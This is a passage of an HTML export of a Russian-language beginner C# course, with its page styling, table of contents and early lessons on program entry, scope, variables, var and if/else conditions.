*/\n.highlight .s1 { color: #4070a0 } /* Literal.String.Single */\n.highlight .ss { color: #517918 } /* Literal.String.Symbol */\n.highlight .bp { color: #007020 } /* Name.Builtin.Pseudo */\n.highlight .fm { color: #06287e } /* Name.Function.Magic */\n.highlight .vc { color: #bb60d5 } /* Name.Variable.Class */\n.highlight .vg { color: #bb60d5 } /* Name.Variable.Global */\n.highlight .vi { color: #bb60d5 } /* Name.Variable.Instance */\n.highlight .vm { color: #bb60d5 } /* Name.Variable.Magic */\n.highlight .il { color: #40a070 } /* Literal.Number.Integer.Long */\n\n/* ---- Базовый шрифт и страница ---- */\n* { box-sizing: border-box; }\n\nbody {\n    font-family: \"Segoe UI\", \"Arial\", sans-serif;\n    font-size: 13pt;\n    line-height: 1.7;\n    color: #1a1a1a;\n    background: #fff;\n    margin: 0;\n    padding: 0;\n}\n\n/* ---- Контейнер (для экрана) ---- */\n.container {\n    max-width: 900px;\n    margin: 30px auto;\n    padding: 0 40px 60px;\n}\n\n/* ---- Заголовки ---- */\nh1 {\n    font-size: 24pt;\n    color: #1a3a5c;\n    border-bottom: 3px solid #1a3a5c;\n    padding-bottom: 8px;\n    margin-top: 0;\n}\nh2 {\n    font-size: 18pt;\n    color: #1a3a5c;\n    border-bottom: 2px solid #c8d8e8;\n    padding-bottom: 4px;\n    margin-top: 48px;\n    page-break-before: always; /* каждый раздел с новой страницы при печати */\n}\nh2:first-of-type { page-break-before: avoid; }\nh3 {\n    font-size: 14pt;\n    color: #2a5280;\n    margin-top: 28px;\n}\nh4 {\n    font-size: 12pt;\n    color: #2a5280;\n    margin-top: 20px;\n}\n\n/* ---- Параграфы и списки ---- */\np { margin: 0.6em 0; }\nul, ol { padding-left: 1.6em; margin: 0.5em 0; }\nli { margin-bottom: 0.3em; }\n\n/* ---- Таблицы ---- */\ntable {\n    border-collapse: collapse;\n    width: 100%;\n    margin: 1em 0;\n    font-size: 12pt;\n}\nth {\n    background: #1a3a5c;\n    color: #fff;\n    padding: 8px 12px;\n    text-align: left;\n}\ntd {\n    border: 1px solid #c8d8e8;\n    padding: 7px 12px;\n}\ntr:nth-child(even) td { background: #f4f8fc; }\n\n/* ---- Блоки кода ---- */\npre {\n    background: #f5f5f5;\n    border: 1px solid #ddd;\n    border-left: 4px solid #1a3a5c;\n    border-radius: 4px;\n    padding: 14px 16px;\n    font-family: \"Consolas\", \"Courier New\", monospace;\n    font-size: 11pt;\n    line-height: 1.5;\n    overflow-x: auto;\n    margin: 1em 0;\n    page-break-inside: avoid;\n}\ncode {\n    font-family: \"Consolas\", \"Courier New\", monospace;\n    font-size: 11pt;\n    background: #f0f0f0;\n    padding: 1px 5px;\n    border-radius: 3px;\n    color: #c0392b;\n}\npre code {\n    background: none;\n    padding: 0;\n    color: inherit;\n}\n\n/* ---- Цитаты / аналогии ---- */\nblockquote {\n    background: #fffbe6;\n    border-left: 4px solid #f0c040;\n    border-radius: 0 4px 4px 0;\n    margin: 1em 0;\n    padding: 10px 16px;\n    color: #5a4a00;\n    font-style: normal;\n}\nblockquote p { margin: 0; }\n\n/* ---- Горизонтальная черта ---- */\nhr {\n    border: none;\n    border-top: 2px solid #c8d8e8;\n    margin: 32px 0;\n}\n\n/* ---- Содержание (TOC) ---- */\n.toc {\n    background: #f4f8fc;\n    border: 1px solid #c8d8e8;\n    border-radius: 6px;\n    padding: 16px 24px;\n    margin-bottom: 32px;\n    font-size: 12pt;\n}\n.toc ul { margin: 4px 0; }\n.toc a { color: #1a3a5c; text-decoration: none; }\n.toc a:hover { text-decoration: underline; }\n\n/* ---- Задания (попробуй) ---- */\nblockquote:has(strong) {\n    background: #e8f5e9;\n    border-left-color: #4caf50;\n    color: #1b5e20;\n}\n\n/* ---- Печать ---- */\n@media print {\n    body { font-size: 11pt; }\n    .container { margin: 0; padding: 0 20px 20px; max-width: 100%; }\n    h2 { page-break-before: always; font-size: 15pt; }\n    h2:first-of-type { page-break-before: avoid; }\n    h3 { font-size: 12pt; }\n    pre { font-size: 9pt; border-left-width: 3px; }\n    code { font-size: 9pt; }\n    table { font-size: 10pt; }\n    blockquote { break-inside: avoid; }\n    a { color: #1a3a5c; text-decoration: none; }\n    /* Скрываем TOC при печати (он большой) */\n    .toc { display: none; }\n}\n\n</style>\n</head>\n<body>\n<div class=\"container\">\n<h1 id=\"c-с-нуля-курс-для-тех-кто-не-понимает-но-хочет-понять\">C# с нуля — курс для тех, кто не понимает, но хочет понять</h1>\n<blockquote>\n<p>Этот курс написан так, чтобы всё было понятно даже если ты открываешь Visual Studio впервые. Никаких «очевидно» и «просто». Всё объясняется через аналогии и живые примеры.</p>\n</blockquote>\n<hr />\n<h2 id=\"содержание\">Содержание</h2>\n<ol>\n<li><a href=\"#1-что-вообще-происходит\">Что вообще происходит, когда запускается программа</a></li>\n<li><a href=\"#2-переменные\">Переменные — коробки для данных</a></li>\n<li><a href=\"#3-var-vs-явный-тип\">var vs явный тип — в чём разница</a></li>\n<li><a href=\"#4-условия-и-циклы\">Условия, циклы — управление потоком</a></li>\n<li><a href=\"#5-методы\">Методы — именованные действия</a></li>\n<li><a href=\"#6-калькулятор\">Первый проект: консольный калькулятор</a></li>\n<li><a href=\"#7-классы-и-объекты\">Классы и объекты — фундамент ООП</a></li>\n<li><a href=\"#8-поля-vs-локальные-переменные\">Поля vs локальные переменные — главная путаница</a></li>\n<li><a href=\"#9-конструкторы\">Конструкторы — как создаётся объект</a></li>\n<li><a href=\"#10-свойства\">Свойства (Properties) — умные поля</a></li>\n<li><a href=\"#11-инкапсуляция\">Инкапсуляция — прячем лишнее</a></li>\n<li><a href=\"#12-наследование\">Наследование — не переписывать одно и то же</a></li>\n<li><a href=\"#13-полиморфизм\">Полиморфизм — один интерфейс, разное поведение</a></li>\n<li><a href=\"#14-абстрактные-классы-и-интерфейсы\">Абстрактные классы и интерфейсы</a></li>\n<li><a href=\"#15-делегаты\">Делегаты — переменные для методов</a></li>\n<li><a href=\"#16-события\">События (Events)</a></li>\n<li><a href=\"#17-lambda-и-linq\">Lambda и LINQ — краткий синтаксис</a></li>\n<li><a href=\"#18-исключения\">Исключения — обработка ошибок</a></li>\n<li><a href=\"#19-итоговый-проект-калькулятор-с-ооп-и-делегатами\">Итоговый проект: калькулятор с ООП и делегатами</a></li>\n</ol>\n<p><strong>Дополнительные разделы (обязательны к прочтению):</strong></p>\n<ol start=\"20\">\n<li><a href=\"#20-память-стек-и-куча\">Память: стек и куча — где живут переменные</a></li>\n<li><a href=\"#21-static-что-это-на-самом-деле\">static — что это на самом деле</a></li>\n<li><a href=\"#22-this-ключевое-слово\">this — ключевое слово объекта</a></li>\n<li><a href=\"#23-строки-подробный-разбор\">Строки — подробный разбор</a></li>\n<li><a href=\"#24-массивы-и-списки-подробный-разбор\">Массивы и списки — подробный разбор</a></li>\n<li><a href=\"#25-как-читать-ошибки-компилятора-не-бояться-красного\">Как читать ошибки компилятора — не бояться красного</a></li>\n<li><a href=\"#26-отладчик-твой-главный-инструмент\">Отладчик — твой главный инструмент</a></li>\n<li><a href=\"#27-задания-для-практики\">Задания для практики</a></li>\n<li><a href=\"#28-пишем-консольный-калькулятор-каждая-строка-объяснена\">Пишем консольный калькулятор — каждая строка объяснена</a></li>\n<li><a href=\"#29-wpf-калькулятор-пошаговая-инструкция\">WPF-калькулятор — пошаговая инструкция</a></li>\n</ol>\n<hr />\n<h2 id=\"1-что-вообще-происходит\">1. Что вообще происходит</h2>\n<p>Когда ты нажимаешь «Запустить» (F5 в Visual Studio), компьютер начинает выполнять твой код <strong>сверху вниз</strong>, строчку за строчкой.</p>\n<p>Представь, что ты даёшь повару список инструкций:</p>\n<ol>\n<li>Возьми яйцо</li>\n<li>Разбей яйцо</li>\n<li>Вылей на сковороду</li>\n<li>Подожди 3 минуты</li>\n</ol>\n<p>Программа — это такой же список инструкций. Компьютер — повар, который делает всё строго по порядку.</p>\n<h3 id=\"точка-входа\">Точка входа</h3>\n<p>В C# программа всегда начинается с метода <code>Main</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"c1\">// Сюда пишется всё что выполняется при запуске</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Привет, мир!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><code>Console.WriteLine(...)</code> — это команда «напечатай в консоль и перейди на новую строку».</p>\n<blockquote>\n<p><strong>Аналогия:</strong> <code>Main</code> — это входная дверь в твой дом. Программа заходит через неё и начинает ходить по комнатам.</p>\n<p>✏️ <strong>Попробуй:</strong> Создай новый консольный проект в Visual Studio. Измени текст в <code>Console.WriteLine</code> на своё имя. Запусти (F5). Убедись что видишь своё имя в консоли.</p>\n</blockquote>\n<hr />\n<h3 id=\"фигурные-скобки-коробки-внутри-коробок\">Фигурные скобки <code>{}</code> — коробки внутри коробок</h3>\n<p>Это <strong>очень важно понять с самого начала</strong>, потому что <code>{}</code> встречаются везде.</p>\n<p>Каждая пара фигурных скобок <code>{</code> и <code>}</code> — это <strong>коробка</strong>. Всё что написано внутри <code>{}</code> — принадлежит этой коробке и <strong>живёт только внутри неё</strong>.</p>\n<p>Посмотри на код выше:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span><span class=\"w\">                   </span><span class=\"c1\">// ← открывается коробка КЛАСС</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(...)</span><span class=\"w\">       </span><span class=\"c1\">// ← открывается коробка МЕТОД (внутри класса)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">;</span><span class=\"w\">           </span><span class=\"c1\">// ← переменная age живёт ТОЛЬКО здесь, внутри метода</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">age</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span><span class=\"w\">                           </span><span class=\"c1\">// ← коробка метода закрылась. age уничтожена</span>\n<span class=\"p\">}</span><span class=\"w\">                               </span><span class=\"c1\">// ← коробка класса закрылась</span>\n</code></pre></div>\n\n<p>Это как матрёшка или коробки разных размеров:</p>\n<div class=\"highlight\"><pre><span></span><code>┌────────────────────────────────┐\n│  КЛАСС Program                 │\n│  ┌──────────────────────────┐  │\n│  │  МЕТОД Main              │  │\n│  │  ┌────────────────────┐  │  │\n│  │  │  int age = 20;     │  │  │\n│  │  │  (переменная)      │  │  │\n│  │  └────────────────────┘  │  │\n│  └──────────────────────────┘  │\n└────────────────────────────────┘\n</code></pre></div>\n\n<p><strong>Главное правило:</strong> переменная, объявленная внутри коробки, <strong>не видна снаружи этой коробки</strong>.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// x объявлена внутри Main</span>\n\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">bonus</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">100</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// bonus объявлена внутри if</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">bonus</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// ОК — мы внутри той же коробки</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">bonus</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА! bonus не существует здесь —</span>\n<span class=\"w\">                               </span><span class=\"c1\">// мы вышли из коробки if, bonus уничтожена</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">);</span><span class=\"w\">     </span><span class=\"c1\">// ОК — x всё ещё доступна, мы внутри Main</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Это называется <strong>область видимости</strong> (scope). Коробка определяет, где именно «видна» переменная.</p>\n<p>Единственный способ сделать переменную видимой во всех методах — сделать её <strong>полем класса</strong> (снаружи всех методов, но внутри класса). Это подробно разберём в разделе 8.</p>\n<blockquote>\n<p>Запомни: открылась <code>{</code> — началась коробка. Закрылась <code>}</code> — коробка закрылась, всё что было внутри — исчезло.</p>\n</blockquote>\n<hr />\n<h2 id=\"2-переменные\">2. Переменные</h2>\n<p>Переменная — это <strong>именованная коробка</strong> в памяти компьютера, в которой хранится какое-то значение.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">;</span><span class=\"w\">        </span><span class=\"c1\">// коробка с именем age, внутри число 20</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// коробка с именем name, внутри текст &quot;Коля&quot;</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">price</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">99.9</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// коробка с именем price, внутри число с точкой</span>\n<span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"n\">isStudent</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">true</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// коробка с именем isStudent, внутри правда/ложь</span>\n</code></pre></div>\n\n<h3 id=\"основные-типы-данных\">Основные типы данных</h3>\n<table>\n<thead>\n<tr>\n<th>Тип</th>\n<th>Что хранит</th>\n<th>Пример</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>int</code></td>\n<td>Целое число</td>\n<td><code>42</code>, <code>-7</code>, <code>0</code></td>\n</tr>\n<tr>\n<td><code>double</code></td>\n<td>Число с плавающей точкой</td>\n<td><code>3.14</code>, <code>-0.5</code></td>\n</tr>\n<tr>\n<td><code>float</code></td>\n<td>То же, но менее точное, легче</td>\n<td><code>3.14f</code></td>\n</tr>\n<tr>\n<td><code>decimal</code></td>\n<td>Точное число (для денег)</td>\n<td><code>99.99m</code></td>\n</tr>\n<tr>\n<td><code>string</code></td>\n<td>Текст (строка символов)</td>\n<td><code>\"Привет\"</code></td>\n</tr>\n<tr>\n<td><code>char</code></td>\n<td>Один символ</td>\n<td><code>'A'</code></td>\n</tr>\n<tr>\n<td><code>bool</code></td>\n<td>Правда или ложь</td>\n<td><code>true</code> / <code>false</code></td>\n</tr>\n</tbody>\n</table>\n<h3 id=\"изменение-значения\">Изменение значения</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\">   </span><span class=\"c1\">// теперь в коробке 10</span>\n<span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// берём что в коробке (10), прибавляем 5, кладём обратно (15)</span>\n<span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span><span class=\"w\">   </span><span class=\"c1\">// то же самое, сокращённая запись</span>\n<span class=\"n\">score</span><span class=\"o\">++</span><span class=\"p\">;</span><span class=\"w\">      </span><span class=\"c1\">// прибавить 1 (то же что score = score + 1)</span>\n</code></pre></div>\n\n<blockquote>\n<p>✏️ <strong>Попробуй:</strong> Объяви переменную <code>int apples = 5</code>. Напечатай её. Прибавь 3 через <code>+=</code>. Напечатай снова. Сколько стало?</p>\n</blockquote>\n<hr />\n<h2 id=\"3-var-vs-явный-тип\">3. var vs явный тип</h2>\n<p>Это <strong>одна из самых частых точек непонимания</strong>.</p>\n<h3 id=\"явный-тип-ты-сам-говоришь-что-хранится\">Явный тип — ты сам говоришь, что хранится</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">number</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">42</span><span class=\"p\">;</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">pi</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3.14</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<p>Ты явно говоришь: «это будет число», «это будет текст».</p>\n<h3 id=\"var-компилятор-сам-догадывается\">var — компилятор сам догадывается</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">number</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">42</span><span class=\"p\">;</span><span class=\"w\">      </span><span class=\"c1\">// компилятор видит 42 → это int</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// компилятор видит &quot;...&quot; → это string</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">pi</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3.14</span><span class=\"p\">;</span><span class=\"w\">        </span><span class=\"c1\">// компилятор видит 3.14 → это double</span>\n</code></pre></div>\n\n<p><strong>Важно:</strong> <code>var</code> — это <strong>не</strong> динамический тип. После того как переменная объявлена, её тип <strong>зафиксирован навсегда</strong>. Нельзя сделать:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">42</span><span class=\"p\">;</span>\n<span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;текст&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА! x - это int, туда нельзя класть строку</span>\n</code></pre></div>\n\n<h3 id=\"когда-использовать-что\">Когда использовать что?</h3>\n<ul>\n<li><strong>Явный тип</strong> — когда хочешь быть точным и понятным. Хорошо для обучения, пиши так пока не привык.</li>\n<li><strong><code>var</code></strong> — когда тип и так очевиден из правой части и не хочется повторяться.</li>\n</ul>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Явный тип — всегда понятно что хранится</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">25</span><span class=\"p\">;</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// var — компилятор сам видит что справа число, строка и т.д.</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">25</span><span class=\"p\">;</span><span class=\"w\">       </span><span class=\"c1\">// очевидно что int</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// очевидно что string</span>\n</code></pre></div>\n\n<p>Пока учишься — <strong>пиши явный тип</strong>. <code>var</code> используй когда освоишься.</p>\n<blockquote>\n<p><strong>Аналогия:</strong> <code>var</code> — как сказать другу «принеси ту штуку». Он смотрит на контекст и понимает что именно. Но тип всё равно один конкретный — не «что угодно».</p>\n<p>✏️ <strong>Попробуй:</strong> Напиши <code>var x = 42;</code> и потом попробуй написать <code>x = \"текст\";</code>. Visual Studio сразу подчеркнёт ошибку — убедись что тип зафиксирован.</p>\n</blockquote>\n<hr />\n<h2 id=\"4-условия-и-циклы\">4. Условия и циклы</h2>\n<hr />\n<h3 id=\"41-условия-if-else\">4.1 Условия — if / else</h3>\n<p>Программа постоянно принимает решения: «если это — делай то, иначе — делай другое».</p>\n<h4 id=\"самый-простой-if\">Самый простой if</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">17</span><span class=\"p\">;</span>\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">18</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вход разрешён&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Читается буквально по-русски: <strong>«если возраст &gt;= 18, то напечатай Вход разрешён»</strong>.</p>\n<p>Если условие НЕ выполняется (age = 17) — блок <code>{}</code> просто пропускается, программа идёт дальше.</p>\n<h4 id=\"if-else-что-делать-если-нет\">if + else — что делать если нет</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">17</span><span class=\"p\">;</span>\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">18</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вход разрешён&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"k\">else</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вход запрещён&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><code>else</code> — «иначе». Если условие не выполнилось — выполни вот это.</p>\n<h4 id=\"if-else-if-else-несколько-вариантов\">if + else if + else — несколько вариантов</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">75</span><span class=\"p\">;</span>\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">90</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Отлично&quot;</span><span class=\"p\">);</span><span class=\"w\">          </span><span class=\"c1\">// 90 и выше</span>\n<span class=\"p\">}</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Хорошо&quot;</span><span class=\"p\">);</span><span class=\"w\">           </span><span class=\"c1\">// от 70 до 89</span>\n<span class=\"p\">}</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">50</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Удовлетворительно&quot;</span><span class=\"p\">);</span><span class=\"c1\">// от 50 до 69</span>\n<span class=\"p\">}</span>\n<span class=\"k\">else</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Двойка&quot;</span><span class=\"p\">);</span><span class=\"w\">           </span><span class=\"c1\">// меньше 50</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Важно понять: условия проверяются <strong>сверху вниз</strong>. Как только одно сработало — остальные <strong>не проверяются</strong>. Поэтому порядок важен!</p>\n<p>Если бы написали <code>score &gt;= 50</code> первым — он бы поймал всё начиная с 50, и до <code>score &gt;= 90</code> дело бы никогда не дошло.</p>\n<h4 id=\"операторы-сравнения\">Операторы сравнения</h4>\n<table>\n<thead>\n<tr>\n<th>Оператор</th>\n<th>Значение</th>\n<th>Пример</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>==</code></td>\n<td>равно</td>\n<td><code>age == 18</code></td>\n</tr>\n<tr>\n<td><code>!=</code></td>\n<td>не равно</td>\n<td><code>name != \"Вася\"</code></td>\n</tr>\n<tr>\n<td><code>&gt;</code></td>\n<td>больше</td>\n<td><code>score &gt; 90</code></td>\n</tr>\n<tr>\n<td><code>&lt;</code></td>\n<td>меньше</td>\n<td><code>score &lt; 50</code></td>\n</tr>\n<tr>\n<td><code>&gt;=</code></td>\n<td>больше или равно</td>\n<td><code>age &gt;= 18</code></td>\n</tr>\n<tr>\n<td><code>&lt;=</code></td>\n<td>меньше или равно</td>\n<td><code>temp &lt;= 0</code></td>\n</tr>\n</tbody>\n</table>\n<p><strong>Внимание:</strong> одно <code>=</code> — это присваивание (<code>age = 18</code>). Два <code>==</code> — это сравнение (<code>age == 18</code>). Это <strong>разные вещи</strong>!</p>\n<h4 id=\"логические-операторы-несколько-условий-сразу\">Логические операторы — несколько условий сразу</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">;</span>\n<span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"n\">hasTicket</span><span 